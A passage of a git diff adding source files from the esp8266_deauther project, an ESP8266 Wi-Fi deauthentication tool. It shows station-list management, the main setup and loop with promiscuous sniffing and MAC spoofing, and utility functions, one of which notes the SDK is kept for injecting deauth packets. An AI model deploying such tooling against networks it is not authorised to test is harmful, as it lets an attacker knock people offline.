Stations::sort() { + list->setCompare([](Station& a, Station& b) -> int { + if (*(a.pkts) > *(b.pkts)) return -1; + + if (*(a.pkts) == *(b.pkts)) return 0; + + return 1; + }); + list->sort(); +} + +void Stations::sortAfterChannel() { + list->setCompare([](Station& a, Station& b) -> int { + if (a.ch < b.ch) return -1; + + if (a.ch == b.ch) return 0; + + return 1; + }); + list->sort(); +} + +void Stations::removeAll() { + internal_removeAll(); + prntln(ST_CLEARED_LIST); + changed = true; +} + +void Stations::removeOldest() { + int oldest = 0; + int c = count(); + + for (int i = 1; i < c; i++) { + if (*getTime(i) > *getTime(oldest)) oldest = i; + } + internal_remove(oldest); + changed = true; +} + +void Stations::printAll() { + prntln(ST_HEADER); + int c = count(); + + if (c == 0) prntln(ST_LIST_EMPTY); + else + for (int i = 0; i < c; i++) print(i, i == 0, i == c - 1); +} + +void Stations::printSelected() { + prntln(ST_HEADER); + int max = selected(); + int c = count(); + + if (max == 0) { + prntln(ST_NO_DEVICES_SELECTED); + return; + } + + for (int i = 0, j = 0; i < c && j < max; i++) { + if (getSelected(i)) { + print(i, j == 0, j == max - 1); + j++; + } + } +} + +void Stations::print(int num) { + print(num, true, true); +} + +void Stations::print(int num, bool header, bool footer) { + if (!check(num)) return; + + if (header) { + prntln(ST_TABLE_HEADER); + prntln(ST_TABLE_DIVIDER); + } + + prnt(leftRight(String(), (String)num, 2)); + prnt(leftRight(String(SPACE) + getMacStr(num), String(), 18)); + prnt(leftRight(String(SPACE), (String)getCh(num), 3)); + prnt(leftRight(String(SPACE) + getNameStr(num), String(), 17)); + prnt(leftRight(String(SPACE) + getVendorStr(num), String(), 9)); + prnt(leftRight(String(SPACE), (String) * getPkts(num), 9)); + prnt(leftRight(String(SPACE) + getAPStr(num), String(), 33)); + prnt(leftRight(String(SPACE) + getTimeStr(num), String(), 10)); + prntln(leftRight(String(SPACE) + getSelectedStr(num), String(), 9)); + + if (footer) prntln(ST_TABLE_DIVIDER); +} + +String Stations::getAPStr(int num) { + if (getAP(num) < 0) return String(); + + return accesspoints.getSSID(getAP(num)); +} + +uint8_t* Stations::getAPMac(int num) { + if (!check(num)) return 0; + + return WiFi.BSSID(list->get(num).ap); +} + +String Stations::getAPMacStr(int num) { + if (!check(num)) return String(); + + uint8_t* mac = getAPMac(num); + return bytesToStr(mac, 6); +} + +int Stations::getAP(int num) { + if (!check(num)) return -1; + + return accesspoints.find(list->get(num).ap); +} + +String Stations::getNameStr(int num) { + if (!check(num)) return String(); + + return names.find(getMac(num)); +} + +bool Stations::hasName(int num) { + if (!check(num)) return false; + + return names.findID(getMac(num)) >= 0; +} + +uint8_t* Stations::getMac(int num) { + if (!check(num)) return 0; + + return list->get(num).mac; +} + +String Stations::getMacStr(int num) { + if (!check(num)) return String(); + + uint8_t* mac = getMac(num); + return bytesToStr(mac, 6); +} + +String Stations::getMacVendorStr(int num) { + String value; + + if (check(num)) { + value = getVendorStr(num) + ":"; + uint8_t* mac = getMac(num); + + for (int i = 3; i < 6; i++) { + if (mac[i] < 0x10) value += "0"; + value += String(mac[i], HEX); + + if (i < 5) value += ":"; + } + } + return value; +} + +String Stations::getVendorStr(int num) { + if (!check(num)) return String(); + + return searchVendor(list->get(num).mac); +} + +String Stations::getSelectedStr(int num) { + return b2a(getSelected(num)); +} + +uint32_t* Stations::getPkts(int num) { + if (!check(num)) return NULL; + + return list->get(num).pkts; +} + +uint32_t* Stations::getTime(int num) { + if (!check(num)) return NULL; + + return list->get(num).time; +} + +String Stations::getTimeStr(int num) { + if (!check(num)) return String(); + + uint32_t difference = currentTime - *getTime(num); + + if (difference < 1000) return str(ST_SMALLER_ONESEC); + else if (difference < 60000) return str(ST_SMALLER_ONEMIN); + else { + uint32_t minutes = difference / 60000; + + if (minutes > 60) return str(ST_BIGER_ONEHOUR); + else return (String)minutes + str(STR_MIN); + } +} + +bool Stations::getSelected(int num) { + if (!check(num)) return false; + + return list->get(num).selected; +} + +uint8_t Stations::getCh(int num) { + if (!check(num)) return 0; + + return list->get(num).ch; +} + +void Stations::select(int num) { + if (!check(num)) return; + + internal_select(num); + prnt(ST_SELECTED_STATION); + prntln(num); + changed = true; +} + +void Stations::deselect(int num) { + if (!check(num)) return; + + internal_deselect(num); + prnt(ST_DESELECTED_STATION); + prntln(num); + changed = true; +} + +void Stations::remove(int num) { + if (!check(num)) return; + + internal_remove(num); + prnt(ST_REMOVED_STATION); + prntln(num); + changed = true; +} + +void Stations::select(String ssid) { + for (int i = 0; i < list->size(); i++) { + if (getAPStr(i).equalsIgnoreCase(ssid)) select(i); + } +} + +void Stations::deselect(String ssid) { + for (int i = 0; i < list->size(); i++) { + if (getAPStr(i).equalsIgnoreCase(ssid)) deselect(i); + } +} + +void Stations::remove(String ssid) { + for (int i = 0; i < list->size(); i++) { + if (getAPStr(i).equalsIgnoreCase(ssid)) remove(i); + } +} + +void Stations::selectAll() { + for (int i = 0; i < count(); i++) internal_select(i); + prntln(ST_SELECTED_ALL); + changed = true; +} + +void Stations::deselectAll() { + for (int i = 0; i < count(); i++) internal_deselect(i); + prntln(ST_DESELECTED_ALL); + changed = true; +} + +int Stations::count() { + return list->size(); +} + +int Stations::selected() { + int num = 0; + + for (int i = 0; i < count(); i++) + if (getSelected(i)) num++; + return num; +} + +bool Stations::check(int num) { + if (internal_check(num)) { + return true; + } else { + prnt(ST_ERROR_ID); + prntln(num); + return false; + } +} + +bool Stations::internal_check(int num) { + return num >= 0 && num < count(); +} + +void Stations::internal_select(int num) { + Station changedStation = list->get(num); + + changedStation.selected = true; + list->replace(num, changedStation); +} + +void Stations::internal_deselect(int num) { + Station changedStation = list->get(num); + + changedStation.selected = false; + list->replace(num, changedStation); +} + +void Stations::internal_remove(int num) { + free(getMac(num)); + free(getPkts(num)); + free(getTime(num)); + list->remove(num); +} + +void Stations::internal_add(uint8_t* mac, int accesspointNum) { + if (count() >= STATION_LIST_SIZE) removeOldest(); + + Station newStation; + newStation.ap = accesspointNum; + newStation.ch = wifi_channel; + newStation.mac = (uint8_t*)malloc(6); + newStation.pkts = (uint32_t*)malloc(sizeof(uint32_t)); + newStation.time = (uint32_t*)malloc(sizeof(uint32_t)); + newStation.selected = false; + + memcpy(newStation.mac, mac, 6); + *newStation.pkts = 1; + *newStation.time = currentTime; + + list->add(newStation); +} + +void Stations::internal_removeAll() { + int c = count(); + + for (int i = 0; i < c; i++) { + free(getMac(i)); + free(getPkts(i)); + free(getTime(i)); + } + list->clear(); +} \ No newline at end of file diff --git a/enp8266/esp8266_deauther-master/esp8266_deauther/Stations.h b/enp8266/esp8266_deauther-master/esp8266_deauther/Stations.h new file mode 100755 index 0000000..1e7e3c7 --- /dev/null +++ b/enp8266/esp8266_deauther-master/esp8266_deauther/Stations.h @@ -0,0 +1,98 @@ +#ifndef Stations_h +#define Stations_h + +#include "Arduino.h" +extern "C" { + #include "user_interface.h" +} +#include "language.h" +#include "SimpleList.h" +#include "Accesspoints.h" +#include "Names.h" + +#define STATION_LIST_SIZE 60 +extern Accesspoints accesspoints; +extern Names names; +extern uint8_t wifi_channel; +extern uint32_t currentTime; + +extern String searchVendor(uint8_t* mac); +extern bool macMulticast(uint8_t* mac); +extern bool macValid(uint8_t* mac); +extern bool macBroadcast(uint8_t* mac); +extern String bytesToStr(uint8_t* b, uint32_t size); + +class Stations { + public: + Stations(); + + void sort(); + void sortAfterChannel(); + + void select(int num); + void deselect(int num); + void remove(int num); + + void select(String ssid); + void deselect(String ssid); + void remove(String ssid); + + void add(uint8_t* mac, int accesspointNum); + + void selectAll(); + void deselectAll(); + void removeAll(); + void removeOldest(); + + String getNameStr(int num); + String getAPStr(int num); + String getMacStr(int num); + String getMacVendorStr(int num); + String getVendorStr(int num); + String getTimeStr(int num); + String getSelectedStr(int num); + uint8_t* getAPMac(int num); + String getAPMacStr(int num); + uint8_t* getMac(int num); + uint32_t* getPkts(int num); + uint32_t* getTime(int num); + uint8_t getCh(int num); + int getAP(int num); + bool getSelected(int num); + bool hasName(int num); + + void print(int num); + void print(int num, bool header, bool footer); + void printAll(); + void printSelected(); + + int count(); + int selected(); + + bool check(int num); + bool changed = false; + + private: + struct Station { + uint8_t ap; + uint8_t ch; + uint8_t * mac; + uint32_t* pkts; + uint32_t* time; + bool selected; + }; + + SimpleList* list; + + int findStation(uint8_t* mac); + int findAccesspoint(uint8_t* mac); + + bool internal_check(int num); + void internal_select(int num); + void internal_deselect(int num); + void internal_add(uint8_t* mac, int accesspointNum); + void internal_remove(int num); + void internal_removeAll(); +}; + +#endif // ifndef Stations_h \ No newline at end of file diff --git a/enp8266/esp8266_deauther-master/esp8266_deauther/data/web/LICENSE.gz b/enp8266/esp8266_deauther-master/esp8266_deauther/data/web/LICENSE.gz new file mode 100755 index 0000000000000000000000000000000000000000..040f32865f5ce47330bc31b98dbd954a80517a62 GIT binary patch literal 690 zcmV;j0!{rNiwFp}LHSz(|4d0kMNU&i09{f`Z{jczzWY~9Iki&MeVkT%Gl?lyLxP-8 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https://github.com/spacehuhn/esp8266_deauther/wiki/Installation#compiling-using-arduino-ide + // And be sure to have the right board selected + #include "user_interface.h" +} +#include + +#include +#if ARDUINOJSON_VERSION_MAJOR != 5 +// The software was build using ArduinoJson v5.x +// version 6 is still in beta at the time of writing +// go to tools -> manage libraries, search for ArduinoJSON and install the latest version 5 +#error Please upgrade/downgrade ArduinoJSON library to version 5! +#endif + +#include "oui.h" +#include "language.h" +#include "functions.h" +#include "Settings.h" +#include "Names.h" +#include "SSIDs.h" +#include "Scan.h" +#include "Attack.h" +#include "CLI.h" +#include "DisplayUI.h" +#include "A_config.h" +#include "webfiles.h" + +#include "LED.h" + +// Run-Time Variables // +LED led; +Settings settings; +Names names; +SSIDs ssids; +Accesspoints accesspoints; +Stations stations; +Scan scan; +Attack attack; +CLI cli; +DisplayUI displayUI; + +#include "wifi.h" + +uint32_t autosaveTime = 0; +uint32_t currentTime = 0; + +bool booted = false; + +void setup() { + // for random generator + randomSeed(os_random()); + + // start serial + Serial.begin(115200); + Serial.println(); + + // start SPIFFS + prnt(SETUP_MOUNT_SPIFFS); + prntln(SPIFFS.begin() ? SETUP_OK : SETUP_ERROR); + + // Start EEPROM + EEPROM.begin(4096); + + // auto repair when in boot-loop + uint8_t bootCounter = EEPROM.read(0); + + if (bootCounter >= 3) { + prnt(SETUP_FORMAT_SPIFFS); + SPIFFS.format(); + prntln(SETUP_OK); + } else { + EEPROM.write(0, bootCounter + 1); // add 1 to the boot counter + EEPROM.commit(); + } + + // get time + currentTime = millis(); + + // load settings + settings.load(); + + // set mac for access point + wifi_set_macaddr(SOFTAP_IF, settings.getMacAP()); + + // start WiFi + WiFi.mode(WIFI_OFF); + wifi_set_opmode(STATION_MODE); + wifi_set_promiscuous_rx_cb([](uint8_t* buf, uint16_t len) { + scan.sniffer(buf, len); + }); + + // set mac for station + wifi_set_macaddr(STATION_IF, settings.getMacSt()); + + // start display + if (settings.getDisplayInterface()) { + displayUI.setup(); + displayUI.mode = displayUI.DISPLAY_MODE::INTRO; + } + + // copy web files to SPIFFS + copyWebFiles(false); + + // load everything else + names.load(); + ssids.load(); + cli.load(); + + // create scan.json + scan.setup(); + + // set channel + setWifiChannel(settings.getChannel()); + + // load Wifi settings: SSID, password,... + #ifdef DEFAULT_SSID + if (settings.getSSID() == "pwned") settings.setSSID(DEFAULT_SSID); + #endif // ifdef DEFAULT_SSID + loadWifiConfigDefaults(); + + // dis/enable serial command interface + if (settings.getCLI()) { + cli.enable(); + } else { + prntln(SETUP_SERIAL_WARNING); + Serial.flush(); + Serial.end(); + } + + // start access point/web interface + if (settings.getWebInterface()) startAP(); + + // STARTED + prntln(SETUP_STARTED); + + // version + prntln(settings.getVersion()); + + // setup LED + led.setup(); +} + +void loop() { + currentTime = millis(); + + led.update(); // update LED color + wifiUpdate(); // manage access point + attack.update(); // run attacks + displayUI.update(); + cli.update(); // read and run serial input + scan.update(); // run scan + ssids.update(); // run random mode, if enabled + + // auto-save + if (settings.getAutosave() && (currentTime - autosaveTime > settings.getAutosaveTime())) { + autosaveTime = currentTime; + names.save(false); + ssids.save(false); + settings.save(false); + } + + if (!booted) { + // reset boot counter + EEPROM.write(0, 0); + EEPROM.commit(); + booted = true; +#ifdef HIGHLIGHT_LED + displayUI.setupLED(); +#endif // ifdef HIGHLIGHT_LED + } +} diff --git a/enp8266/esp8266_deauther-master/esp8266_deauther/functions.h b/enp8266/esp8266_deauther-master/esp8266_deauther/functions.h new file mode 100755 index 0000000..21e24d2 --- /dev/null +++ b/enp8266/esp8266_deauther-master/esp8266_deauther/functions.h @@ -0,0 +1,790 @@ +#ifndef functions_h +#define functions_h + +#include "Arduino.h" +#include +extern "C" { + #include "user_interface.h" +} +#include "ArduinoJson.h" + +/* + Here is a collection of useful functions and variables. + They are used globally via an 'extern' reference in every class. + Making everything static will lead to problems with the Arduino ESP8266 2.0.0 SDK, + there were some fixed in later version but we need to use the old version for injecting deauth packets. + */ + +uint8_t broadcast[6] = { 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF }; +uint8_t wifi_channel = 1; + +// ===== UTF8 FIX ===== // +String escape(String str) { + str.replace(String(BACKSLASH), String(BACKSLASH) + String(BACKSLASH)); + str.replace(String(DOUBLEQUOTES), String(BACKSLASH) + String(DOUBLEQUOTES)); + return str; +} + +bool ascii(char c) { + return c >= 0 && c <= 127; +} + +bool printableAscii(char c) { + return c >= 32 && c <= 126; +} + +bool getBit(uint8_t b, uint8_t n) { + return (b >> n) % 2 != 0; +} + +uint8_t utf8(uint8_t c) { + if (!getBit(c, 7)) return 1; + + if (getBit(c, 7) && getBit(c, 6) && !getBit(c, 5)) return 2; + + if (getBit(c, 7) && getBit(c, 6) && getBit(c, 5) && !getBit(c, 4)) return 3; + + if (getBit(c, 7) && getBit(c, 6) && getBit(c, 5) && getBit(c, 4) && !getBit(c, 3)) return 4; + + return 0; +} + +bool utf8Part(uint8_t c) { + return getBit(c, 7) && !getBit(c, 6); +} + +String fixUtf8(String str) { + int size = str.length(); + + String result = String(); + char c; + uint8_t len; + bool ok; + + for (int i = 0; i < size; i++) { + c = str.charAt(i); // get character + len = utf8(c); // get utf8 char len + + if (len <= 1) { + result += c; // when 1 byte char, add it :) + } + else if (i + len > size) { // when char bigger than remaining string, end loop + i = size + 1; + } + else { + ok = true; + + for (int j = 1; j < len && ok; j++) { + ok = utf8Part(str.charAt(i + j)); // if following char is compliant or not + } + + if (ok) result += c; // everything is ok, add char and continue + else { // utf8 char is broken + for (int j = 1; j < len; j++) { // go through the next bytes + c = str.charAt(i + j); + + if (utf8(c) == 1) result += c; // when byte is ascii, add it :) + } + i += len - 1; // skip utf8 char because we already managed it + } + } + } + return result; +} + +String removeUtf8(String str) { + str = fixUtf8(str); // fix it in case a utf char is broken + int size = str.length(); + + String result = String(); + char c; + uint8_t len; + + for (int i = 0; i < size; i++) { + c = str.charAt(i); // get character + len = utf8(c); // get utf8 char len + + if (len <= 1) result += c; // when 1 byte char, add it :) + else i += len - 1; // skip other chars + } + + return result; +} + +int utf8Len(String str) { + int size = str.length(); + + int result = 0; + char c; + uint8_t len; + + for (int i = 0; i < size; i++) { + c = str.charAt(i); // get character + len = utf8(c); // get utf8 char len + + if (len <= 1) result++; // when 1 byte char, add 1 :) + else { + result++; + + for (int j = 1; j < len; j++) { + c = str.charAt(i + j); + + if (!utf8Part(c) && (utf8(c) == 1)) { + Serial.println(c, HEX); + result++; // if following char is compliant or not + } + } + i += len - 1; + } + } + + return result; +} + +String replaceUtf8(String str, String r) { + str = fixUtf8(str); // fix it in case a utf char is broken + int size = str.length(); + + String result = String(); + char c; + uint8_t len; + + for (int i = 0; i < size; i++) { + c = str.charAt(i); // get character + len = utf8(c); // get utf8 char len + + if (len <= 1) result += c; // when 1 byte char, add it :) + else { + result += r; + i += len - 1; // skip other chars + } + } + + return result; +} + +// ===== LANGUAGE STRING FUNCTIONS ===== // + +// for reading Strings from the PROGMEM +String str(const char* ptr) { + char keyword[strlen_P(ptr)]; + + strcpy_P(keyword, ptr); + return String(keyword); +} + +// for converting keywords +String keyword(const char* keywordPtr) { + char keyword[strlen_P(keywordPtr)]; + + strcpy_P(keyword, keywordPtr); + + String str = ""; + uint8_t len = strlen(keyword); + uint8_t i = 0; + + while (i < len && keyword[i] != SLASH && keyword[i] != COMMA) { + str += keyword[i]; + i++; + } + + return str; +} + +// equals function +bool eqls(const char* str, const char* keywordPtr) { + if (strlen(str) > 255) return false; // when string too long + + char keyword[strlen_P(keywordPtr) + 1]; + strcpy_P(keyword, keywordPtr); + + uint8_t lenStr = strlen(str); + uint8_t lenKeyword = strlen(keyword); + + if (lenStr > lenKeyword) return false; // string can't be longer than keyword (but can be smaller because of '/' + + // and ',') + + uint8_t a = 0; + uint8_t b = 0; + bool result = true; + + while (a < lenStr && b < lenKeyword) { + if ((keyword[b] == SLASH) || (keyword[b] == COMMA)) b++; + + if (tolower(str[a]) != tolower(keyword[b])) result = false; + + if (((a == lenStr) && !result) || !result) { // fast forward to next comma + while (b < lenKeyword && keyword[b] != COMMA) b++; + result = true; + a = 0; + } else { + a++; + b++; + } + } + // comparison correct AND string checked until the end AND keyword checked until the end + return result && a == lenStr && (keyword[b] == COMMA || keyword[b] == SLASH || keyword[b] == ENDOFLINE); +} + +bool eqls(String str, const char* keywordPtr) { + return eqls(str.c_str(), keywordPtr); +} + +// boolean to string +String b2s(bool input) { + return str(input ? STR_TRUE : STR_FALSE); +} + +// boolean to asterix * +String b2a(bool input) { + return input ? String(ASTERIX) : String(SPACE); +} + +// string to boolean +bool s2b(String input) { + return eqls(input, STR_TRUE); +} + +// ===== PRINT FUNCTIONS ===== // +void prnt(String s) { + Serial.print(s); +} + +void prnt(bool b) { + Serial.print(b2s(b)); +} + +void prnt(char c) { + Serial.print(c); +} + +void prnt(const char* ptr) { + Serial.print(FPSTR(ptr)); +} + +void prnt(int i) { + Serial.print((String)i); +} + +void prntln() { + Serial.println(); +} + +void prntln(String s) { + Serial.println(s); +} + +void prntln(bool b) { + Serial.println(b2s(b)); +} + +void prntln(char c) { + Serial.println(c); +} + +void prntln(const char* ptr) { + Serial.println(FPSTR(ptr)); +} + +void prntln(int i) { + Serial.println((String)i); +} + +/* ===== WiFi ===== */ +void setWifiChannel(uint8_t ch) { + if ((ch != wifi_channel) && (ch > 0) && (ch < 15)) { + wifi_channel = ch; + wifi_set_channel(wifi_channel); + } +} + +void setOutputPower(float dBm) { + if (dBm > 20.5) { + dBm = 20.5; + } else if (dBm < 0) { + dBm = 0; + } + + uint8_t val = (dBm * 4.0f); + system_phy_set_max_tpw(val); +} + +/* ===== MAC ADDRESSES ===== */ +bool macBroadcast(uint8_t* mac) { + for (uint8_t i = 0; i < 6; i++) + if (mac[i] != broadcast[i]) return false; + + return true; +} + +bool macValid(uint8_t* mac) { + for (uint8_t i = 0; i < 6; i++) + if (mac[i] != 0x00) return true; + + return false; +} + +bool macMulticast(uint8_t* mac) { + // see https://en.wikipedia.org/wiki/Multicast_address + if ((mac[0] == 0x33) && (mac[1] == 0x33)) return true; + + if ((mac[0] == 0x01) && (mac[1] == 0x80) && (mac[2] == 0xC2)) return true; + + if ((mac[0] == 0x01) && (mac[1] == 0x00) && ((mac[2] == 0x5E) || (mac[2] == 0x0C))) return true; + + if ((mac[0] == 0x01) && (mac[1] == 0x0C) && (mac[2] == 0xCD) && + ((mac[3] == 0x01) || (mac[3] == 0x02) || (mac[3] == 0x04)) && + ((mac[4] == 0x00) || (mac[4] == 0x01))) return true; + + if ((mac[0] == 0x01) && (mac[1] == 0x00) && (mac[2] == 0x0C) && (mac[3] == 0xCC) && (mac[4] == 0xCC) && + ((mac[5] == 0xCC) || (mac[5] == 0xCD))) return true; + + if ((mac[0] == 0x01) && (mac[1] == 0x1B) && (mac[2] == 0x19) && (mac[3] == 0x00) && (mac[4] == 0x00) && + (mac[5] == 0x00)) return true; + + return false; +} + +/* ===== VENDOR LIST (oui.h) ===== */ +void getRandomMac(uint8_t* mac) { + int num = random(sizeof(data_vendors) / 11 - 1); + uint8_t i; + + for (i = 0; i < 3; i++) mac[i] = pgm_read_byte_near(data_macs + num * 5 + i); + + for (i = 3; i < 6; i++) mac[i] = random(256); +} + +int binSearchVendors(uint8_t* searchBytes, int lowerEnd, int upperEnd) { + uint8_t listBytes[3]; + int res; + int mid = (lowerEnd + upperEnd) / 2; + + while (lowerEnd <= upperEnd) { + listBytes[0] = pgm_read_byte_near(data_macs + mid * 5); + listBytes[1] = pgm_read_byte_near(data_macs + mid * 5 + 1); + listBytes[2] = pgm_read_byte_near(data_macs + mid * 5 + 2); + + res = memcmp(searchBytes, listBytes, 3); + + if (res == 0) { + return mid; + } else if (res < 0) { + upperEnd = mid - 1; + mid = (lowerEnd + upperEnd) / 2; + } else if (res > 0) { + lowerEnd = mid + 1; + mid = (lowerEnd + upperEnd) / 2; + } + } + + return -1; +} + +String searchVendor(uint8_t* mac) { + String vendorName = String(); + int pos = binSearchVendors(mac, 0, sizeof(data_macs) / 5 - 1); + int realPos = pgm_read_byte_near(data_macs + pos * 5 + 3) | pgm_read_byte_near(data_macs + pos * 5 + 4) << 8; + + if (pos >= 0) { + char tmp; + + for (int i = 0; i < 8; i++) { + tmp = (char)pgm_read_byte_near(data_vendors + realPos * 8 + i); + + if (tmp != ENDOFLINE) vendorName += tmp; + tmp += SPACE; + } + } + + return vendorName; +} + +/* ===== STRING ===== */ +String bytesToStr(uint8_t* b, uint32_t size) { + String str; + + for (uint32_t i = 0; i < size; i++) { + if (b[i] < 0x10) str += ZERO; + str += String(b[i], HEX); + + if (i < size - 1) str += DOUBLEPOINT; + } + return str; +} + +String macToStr(uint8_t* mac) { + return bytesToStr(mac, 6); +} + +bool strToMac(String macStr, uint8_t* mac) { + macStr.replace(String(DOUBLEPOINT), String()); // ":" -> "" + macStr.replace("0x", String()); // "0x" -> "" + macStr.replace(String(COMMA), String()); // "," -> "" + macStr.replace(String(DOUBLEQUOTES), String()); // "\"" -> "" + macStr.toUpperCase(); + + if (macStr.length() != 12) { + prntln(F_ERROR_MAC); + return false; + } + + for (uint8_t i = 0; i < 6; i++) mac[i] = strtoul((macStr.substring(i * 2, i * 2 + 2)).c_str(), NULL, 16); + + return true; +} + +void strToColor(String str, uint8_t* buf) { + str.replace(":", ""); + str.replace("0x", ""); + str.replace(",", ""); + str.replace("#", ""); + str.toUpperCase(); + + if (str.length() != 6) { + prntln(F_COLOR_INVALID); + return; + } + + for (uint8_t i = 0; i < 3; i++) buf[i] = strtoul((str.substring(i * 2, i * 2 + 2)).c_str(), NULL, 16); +} + +String center(String a, int len) { + int spaces = len - a.length(); + + for (int i = 0; i < spaces; i += 2) { + a = ' ' + a + ' '; + } + + a = a.substring(0, len); + + return a; +} + +String left(String a, int len) { + int spaces = len - a.length(); + + while (spaces > 0) { + a = a + ' '; + spaces--; + } + + a = a.substring(0, len); + + return a; +} + +String right(String a, int len) { + int spaces = len - a.length(); + + while (spaces > 0) { + a = ' ' + a; + spaces--; + } + + a = a.substring(0, len); + + return a; +} + +String leftRight(String a, String b, int len) { + int spaces = len - a.length() - b.length(); + + while (spaces > 0) { + a = a + ' '; + spaces--; + } + + a = a + b; + + a = a.substring(0, len); + + return a; +} + +/* ===== SPIFFS ===== */ +bool progmemToSpiffs(const char* adr, int len, String path) { + prnt(str(SETUP_COPYING) + path + str(SETUP_PROGMEM_TO_SPIFFS)); + File f = SPIFFS.open(path, "w+"); + + if (!f) { + prntln(SETUP_ERROR); + return false; + } + + for (int i = 0; i < len; i++) { + f.write(pgm_read_byte_near(adr + i)); + } + f.close(); + + prntln(SETUP_OK); + + return true; +} + +bool readFile(String path, String& buf) { + if (path.charAt(0) != SLASH) path = String(SLASH) + path; + File f = SPIFFS.open(path, "r"); + + if (!f) return false; + + if (f.size() == 0) return false; + + while (f.available()) buf += (char)f.read(); + + f.close(); + + return true; +} + +void readFileToSerial(String path, bool showLineNum) { + if (path.charAt(0) != SLASH) path = String(SLASH) + path; + File f = SPIFFS.open(path, "r"); + + if (!f) { + prnt(F_ERROR_READING_FILE); + prntln(path); + return; + } + + uint32_t c = 0; + char tmp; + + if (showLineNum) { + prnt(leftRight(String(), (String)c + String(VERTICALBAR), 6)); + } + + while (f.available()) { + tmp = f.read(); + prnt(tmp); + + if ((tmp == NEWLINE) && showLineNum) { + c++; + prnt(leftRight(String(), (String)c + String(VERTICALBAR), 6)); + } + } + + f.close(); +} + +bool copyFile(String pathFrom, String pathTo) { + if (pathFrom.charAt(0) != SLASH) pathFrom = String(SLASH) + pathFrom; + + if (pathTo.charAt(0) != SLASH) pathTo = String(SLASH) + pathTo; + + if (!SPIFFS.exists(pathFrom)) { + prnt(F_ERROR_FILE); + prntln(pathFrom); + return false; + } + + File f1 = SPIFFS.open(pathFrom, "r"); + File f2 = SPIFFS.open(pathTo, "w+"); + + if (!f1 || !f2) return false; + + while (f1.available()) { + f2.write(f1.read()); + } + + return true; +} + +bool renameFile(String pathFrom, String pathTo) { + if (pathFrom.charAt(0) != SLASH) pathFrom = String(SLASH) + pathFrom; + + if (pathTo.charAt(0) != SLASH) pathTo = String(SLASH) + pathTo; + + if (!SPIFFS.exists(pathFrom)) { + prnt(F_ERROR_FILE); + prntln(pathFrom); + return false; + } + + SPIFFS.rename(pathFrom, pathTo); + return true; +} + +bool writeFile(String path, String& buf) { + if (path.charAt(0) != SLASH) path = String(SLASH) + path; + File f = SPIFFS.open(path, "w+"); + + if (!f) return false; + + uint32_t len = buf.length(); + + for (uint32_t i = 0; i < len; i++) f.write(buf.charAt(i)); + f.close(); + + return true; +} + +bool appendFile(String path, String& buf) { + if (path.charAt(0) != SLASH) path = String(SLASH) + path; + File f = SPIFFS.open(path, "a+"); + + if (!f) return false; + + uint32_t len = buf.length(); + + for (uint32_t i = 0; i < len; i++) f.write(buf[i]); + f.close(); + + return true; +} + +void checkFile(String path, String data) { + if (path.charAt(0) != SLASH) path = String(SLASH) + path; + + if (!SPIFFS.exists(path)) writeFile(path, data); +} + +bool removeLines(String path, int lineFrom, int lineTo) { + int c = 0; + char tmp; + + if (path.charAt(0) != SLASH) path = String(SLASH) + path; + + String tmpPath = str(F_TMP) + path + str(F_COPY); + + File f = SPIFFS.open(path, "r"); + File f2 = SPIFFS.open(tmpPath, "w"); + + if (!f || !f2) return false; + + while (f.available()) { + tmp = f.read(); + + if ((c < lineFrom) || (c > lineTo)) f2.write(tmp); + + if (tmp == NEWLINE) c++; + } + + f.close(); + f2.close(); + SPIFFS.remove(path); + SPIFFS.rename(tmpPath, path); + + return true; +} + +bool replaceLine(String path, int line, String& buf) { + int c = 0; + char tmp; + + if (path.charAt(0) != SLASH) path = String(SLASH) + path; + + String tmpPath = "/tmp" + path + "_copy"; + + File f = SPIFFS.open(path, "r"); + File f2 = SPIFFS.open(tmpPath, "w"); + + if (!f || !f2) return false; + + while (f.available()) { + tmp = f.read(); + + if (c != line) f2.write(tmp); + else { + f2.println(buf); + + while (f.read() != NEWLINE && f.available()) {} + c++; + } + + if (tmp == NEWLINE) c++; + } + + f.close(); + f2.close(); + SPIFFS.remove(path); + SPIFFS.rename(tmpPath, path); + + return true; +} + +JsonVariant parseJSONFile(String path, DynamicJsonBuffer& jsonBuffer) { + if (path.charAt(0) != SLASH) path = String(SLASH) + path; + + // create JSON Variant + JsonVariant root; + + // create buffer + String buf = ""; + + // read file into buffer + if (!readFile(path, buf)) { // if file couldn't be opened, send 404 error + prnt(F_ERROR_OPEN); + prntln(path); + buf = "{}"; + } + + // parse file-buffer into a JSON Variant + root = jsonBuffer.parse(buf); + + // if parsing unsuccessful + if (!root.success()) { + prnt(F_ERROR_PARSING_JSON); + prntln(path); + prntln(buf); + } + + return root; +} + +bool removeFile(String path) { + if (path.charAt(0) != SLASH) path = String(SLASH) + path; + return SPIFFS.remove(path); +} + +void saveJSONFile(String path, JsonObject& root) { + if (path.charAt(0) != SLASH) path = String(SLASH) + path; + + // create buffer + String buf; + + // convert JSON object into string and write it into buffer + root.printTo(buf); + + // if buffer too big + if (buf.length() > 2048) { + prntln(F_ERROR_TO_BIG); + prntln(path); + prntln(buf); + return; + } + + // write buffer into SPIFFS file + writeFile(path, buf); +} + +void saveJSONFile(String path, JsonArray& root) { + if (path.charAt(0) != SLASH) path = String(SLASH) + path; + + // create buffer + String buf; + + // convert JSON object into string and write it into buffer + root.printTo(buf); + + // if buffer too big + if (buf.length() > 2048) { + prntln(F_ERROR_TO_BIG); + prntln(path); + prntln(buf); + return; + } + + // write buffer into SPIFFS file + writeFile(path, buf); +} + +String formatBytes(size_t bytes) { + if (bytes < 1024) return String(bytes) + "B"; + else if (bytes < (1024 * 1024)) return String(bytes / 1024.0) + "KB"; + else if (bytes < (1024 * 1024 * 1024)) return String(bytes / 1024.0 / 1024.0) + "MB"; + else return String(bytes / 1024.0 / 1024.0 / 1024.0) + "GB"; +} + +#endif // ifndef functions_h \ No newline at end of file diff --git a/enp8266/esp8266_deauther-master/esp8266_deauther/language.h b/enp8266/esp8266_deauther-master/esp8266_deauther/language.h new file mode 100755 index 0000000..dcb1560 --- /dev/null +++ b/enp8266/esp8266_deauther-master/esp8266_deauther/language.h @@ -0,0 +1,591 @@ +#ifndef language_h +#define language_h + +#include "Arduino.h" + +extern String str(const char* ptr); +extern String keyword(const char* keywordPtr); +extern bool eqls(const char* str, const char* keywordPtr); +extern bool eqls(String str, const char* keywordPtr); +extern String b2s(bool input); +extern String b2a(bool input); +extern bool s2b(String input); +extern void prnt(String s); +extern void prnt(bool b); +extern void prnt(char c); +extern void prnt(const char* ptr); +extern void prnt(int i); +extern void prntln(); +extern void prntln(String s); +extern void prntln(bool b); +extern void prntln(char c); 